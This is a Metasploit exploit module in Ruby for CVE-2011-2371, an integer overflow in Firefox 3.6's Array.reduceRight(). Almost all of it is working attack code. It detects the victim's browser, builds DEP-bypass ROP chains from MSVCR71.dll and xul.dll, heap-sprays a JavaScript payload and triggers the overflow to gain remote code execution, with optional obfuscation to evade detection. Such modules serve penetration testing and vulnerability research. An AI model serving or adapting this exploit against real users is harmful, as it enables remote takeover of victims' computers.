##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Mozilla Firefox Array.reduceRight() Integer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
				array object is configured with a large length value, the reduceRight() method
				may cause an invalid index being used, allowing abitrary remote code execution.
				Please note that the exploit requires a longer amount of time (compare to a
				typical browser exploit) in order to gain control of the machine.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Chris Rohlf',    #Matasano Security (Initial discovery according to Mozilla.org)
					'Yan Ivnitskiy',  #Matasano Security (Initial discovery with Chris?)
					'Matteo Memelli', #PoC from Exploit-DB
					'dookie2000ca',   #"Helping" ryujin (Matteo)
					'sinn3r',         #Metasploit
					'mr_me <steventhomasseeley[at]gmail.com>',  #XP target (no aslr)
					'TecR0c <roccogiovannicalvi[at]gmail.com>', #XP target (no aslr)
				],
			'References'     =>
				[
					['CVE', '2011-2371'],
					['OSVDB', '73184'],
					['EDB', '17974'],
					['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
				],
			'Payload'        =>
				{
					'BadChars'        => "\x00",
					'PrependEncoder'  => "\xbc\x0c\x0c\x0c\x0c",
				},
			'DefaultOptions'  =>
				{
					'EXITFUNC' => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
					[
						# if we dont have aslr, lets not deal with it
						# Windows XP (no JAVA)
						'Mozilla Firefox 3.6.16 (no JAVA)',
						{
							'pivot'  => 0x104C26F0, # 1st pivot [push esi;pop esp;and [esi+44],0;xor eax,eax;pop esi;retn 4]
							'pivot2' => 0x10055326, # 2nd pivot [add esp,40;ret]
						}
					],
					[
						#Vista / win 7 (using JAVA) to defeat aslr
						'Mozilla Firefox 3.6.16 (JAVA)',
						{
							'pivot'  => 0x7c370eef, # 1st pivot [lea esp,[esi-3];dec [ebx];ret 1C75]
							'pivot2' => 0xcafebabe, # fake
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jun 21 2011",
			'DefaultTarget'  => 0
		))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

	def junk(n=4)
		return rand_text_alpha(n).unpack("L")[0].to_i
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		if agent !~ /Firefox\/3\.6\.(16|17)/
			print_error("This browser is not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		my_target = target
		if my_target.name == 'Automatic'
			if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/
				my_target = targets[1]
			elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/
				my_target = targets[2]
			end
		end

		table = [junk(2)].pack('v*')
		table << [
			0x0c000048,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
		].pack('V*')
		table << [junk(2)].pack('v*')
		table << [
			my_target['pivot'],
			junk,
		].pack('V*')
		table << [junk(2)].pack('v*')
		table << [
			0x3410240c,
			0x0c00007c,
			my_target['pivot2'],
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			0x0c00002e,
		].pack('V*')

		# random
		js_applet = rand_text_alpha(rand(10) + 5)
		a_trigger = rand_text_alpha(rand(10) + 5)

		if my_target.name =~ /\(JAVA\)/

			#mona.py tekniq! + Payload
			rop = [
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x7c37a140,  # Make EAX readable
				0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
				0x7c348b06,  # EBP (NOP)
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x7c37a140,  # <- VirtualProtect() found in IAT
				0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
				0x7c346c0b,  # Slide, so next gadget would write to correct stack location
				0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
				0x7c348b06,  # EDI (filler)
				0x7c348b06,  # will be patched at runtime (VP), then picked up into ESI
				0x7c348b06,  # EBX (filler)
				0x7c376402,  # POP EBP # RETN (msvcr71.dll)
				0x7c345c30,  # ptr to push esp #  ret  (from MSVCR71.dll)
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0xfffff82f,  # size 20001 bytes
				0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
				0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
				0xffffffff,  # pop value into ebx
				0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
				0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
				0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
				0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
				0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
				0x7c34b8d8,  # ROP NOP (-> edi)
				0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
				0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
				0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
				0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
				0x90909090,  # NOPS (-> eax)
				0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
			].pack('V*')

			p = payload.encoded
			arch = Rex::Arch.endian(target.arch)
			js_payload = Rex::Text.to_unescape(rop + p, arch)
			js_ptrs    = Rex::Text.to_unescape(table, arch)

			#Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
			js = <<-JS
			var applet = document.getElementById('#{js_applet}');

			function spray() {
				var ptrs = unescape("#{js_ptrs}");

				var bheader  = 0x12/2;
				var nullt    = 0x2/2;

				var espoffset  = (7340 /2) - ptrs.length;
				var esppadding = unescape("%u0c0c%u0c0c");
				while(esppadding.length < espoffset) esppadding += esppadding;
				esppadding = esppadding.substring(0, espoffset);

				var payload = unescape("#{js_payload}");

				var tr_padding = unescape("%u0c0c%u0c0c");
				while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

				var dummy = ptrs + esppadding + payload + tr_padding;
				var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

				HeapBlocks = new Array()
				for (i=0;i<0x60;i++){
					HeapBlocks[i] += hspray;
				}
			}
			spray();
			obj = new Array;
			obj.length = 2197815302;
			f = function trigger(prev, myobj, indx, array) {
				alert(myobj[0]);
			}
			obj.reduceRight(f,1,2,3);
			JS

			js = js.gsub(/^\t\t/, '')

			if datastore['OBFUSCATE']
				js = ::Rex::Exploitation::JSObfu.new(js)
				js.obfuscate
			end

			html = <<-HTML
			<html>
			<head>
			</head>
			<body>
			<applet id="#{js_applet}" code="#{a_trigger}.class" width=0 height=0>
			</applet>
			<script>
			#{js}
			</script>
			</body>
			<html>
			HTML

		elsif my_target.name =~ /\(no JAVA\)/

			# DEP bypass using xul.dll
			rop =
			[
				junk,
				junk,
				junk,
				junk,
				junk,
				0x101f1806,  # POP EAX # RETN [xul.dll]
				0x1083828C,  # ptr to &VirtualAlloc() [IAT xul.dll]
				0x103e0d7b,  # MOV ESI,DWORD PTR DS:[EAX] # RETN [xul.dll]
				0x102d8002,  # POP EBP # RETN [xul.dll]
				0x1003876b,  # & jmp esp [xul.dll]
				0x10040001,  # POP EBX # RETN [xul.dll]
				0x00000001,  # 0x00000001-> ebx
				0x104e6917,  # POP EDX # RETN [xul.dll]
				0x00001000,  # 0x00001000-> edx
				0x102ac000,  # POP ECX # RETN [xul.dll]
				0x00000040,  # 0x00000040-> ecx
				0x102e0005,  # POP EDI # RETN [xul.dll]
				0x102ac001,  # RETN (ROP NOP) [xul.dll]
				0x101f1806,  # POP EAX # RETN [xul.dll]
				0x90909090,  # nop
				0x102b3401,  # PUSHAD # RETN [xul.dll]
			].pack("V*")

			p = payload.encoded
			arch = Rex::Arch.endian(target.arch)
			js_payload = Rex::Text.to_unescape(rop + p, arch)
			js_ptrs    = Rex::Text.to_unescape(table, arch)

			# java loading forces the alloctor to use more blocks, since we
			# dont load java we will just spray a little more..
			js = <<-JS
			var myobject = document.getElementById('d');

			function spray() {
				var ptrs = unescape("#{js_ptrs}");

				var bheader  = 0x12/2;
				var nullt    = 0x2/2;

				var payload = unescape("#{js_payload}");

				var tr_padding = unescape("%u0c0c%u0c0c");
				while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

				var dummy = ptrs + payload + tr_padding;
				var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

				HeapBlocks = new Array()
				for (i=0;i<0x100;i++){
					HeapBlocks[i] += hspray;
				}
			}
			spray();
			obj = new Array;
			obj.length = 2197815302;
			f = function trigger(prev, myobj, indx, array) {
				alert(myobj[0]);
			}
			obj.reduceRight(f,1,2,3);
			JS

			if datastore['OBFUSCATE']
				js = ::Rex::Exploitation::JSObfu.new(js)
				js.obfuscate
			end

			js = js.gsub(/^\t\t/, '')

			html = <<-HTML
			<html>
			<head>
			</head>
			<body>
			<object id="d"><object>
			<script>
			#{js}
			</script>
			</body>
			<html>
			HTML

		end

		html = html.gsub(/^\t\t/, '')

		print_status("Sending #{self.name}")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end
end
